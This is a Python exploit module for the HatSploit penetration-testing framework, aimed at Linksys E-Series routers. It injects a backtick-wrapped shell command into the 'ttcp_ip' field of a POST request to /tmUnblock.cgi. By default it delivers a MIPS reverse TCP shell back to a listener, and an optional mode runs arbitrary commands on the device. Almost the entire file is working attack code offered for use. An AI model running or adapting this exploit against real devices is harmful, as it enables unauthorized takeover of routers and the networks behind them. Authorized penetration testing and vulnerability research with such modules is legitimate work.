#!/usr/bin/env python3

#
# This module requires HatSploit: https://hatsploit.netlify.app
# Current source: https://github.com/EntySec/HatSploit
#

from hatsploit.lib.module import Module
from hatsploit.utils.handler import Handler
from hatsploit.utils.http import HTTPClient


class HatSploitModule(Module, Handler, HTTPClient):
    details = {
        'Name': "Linksys E-Series tmUnblock Remote Code Execution",
        'Module': "exploit/unix/linksys/eseries_tmunblock_rce",
        'Authors': [
            'Ivan Nikolsky (enty8080) - module developer',
            'Johannes Ullrich (jullrich) - vulnerability researcher'
        ],
        'Description': "Remote Code Execution in Linksys E-Series.",
        'Comments': [
            ''
        ],
        'Platform': "unix",
        'Risk': "high"
    }

    payload = {
        'Description': "Payload to use.",
        'Value': "linux/mipsle/shell_reverse_tcp",
        'Categories': None,
        'Architectures': [
            'mipsle',
            'mipsbe',
            'generic'
        ],
        'Platforms': None,
        'Types': None
    }

    options = {
        'RHOST': {
            'Description': "Remote host.",
            'Value': None,
            'Type': "ip",
            'Required': True
        },
        'RPORT': {
            'Description': "Remote port.",
            'Value': 80,
            'Type': "port",
            'Required': True
        },
        'LHOST': {
            'Description': "Local host to listen on.",
            'Value': "0.0.0.0",
            'Type': "ip",
            'Required': True
        },
        'LPORT': {
            'Description': "Local port to listen on.",
            'Value': 8888,
            'Type': "port",
            'Required': True
        },
        'BLINDER': {
            'Description': "Use Blinder instead of payload.",
            'Value': "no",
            'Type': "boolean",
            'Required': False
        }
    }

    def exploit(self, remote_host, remote_port, command):
        self.http_request(
            method="POST",
            host=remote_host,
            port=remote_port,
            path='/tmUnblock.cgi',
            data={
                "submit_button": "",
                "change_action": "",
                "action": "",
                "commit": "0",
                "ttcp_num": "2",
                "ttcp_size": "2",
                "ttcp_ip": f"-h `{command}`",
                "StartEPI": "1"
            }
        )

    def check(self, remote_host, remote_port):
        response = self.http_request(
            method="GET",
            host=remote_host,
            port=remote_port,
            path="/tmUnblock.cgi"
        )

        if response is None or response.status_code != 200:
            self.output_error("Target is not vulnerable!")
            return False

        return True

    def run(self):
        remote_host, remote_port, local_host, local_port, blinder = self.parse_options(self.options)

        self.output_process(f"Exploiting {remote_host}...")

        if not self.check(remote_host, remote_port):
            self.output_error("Exploit failed!")
            return

        if blinder.lower() in ['yes', 'y']:
            self.blinder(
                sender=self.exploit,
                args=[remote_host, remote_port]
            )
        else:
            self.handle_session(
                host=local_host,
                port=local_port,
                payload=self.payload,
                sender=self.exploit,
                args=[remote_host, remote_port],
                timeout=10
            )
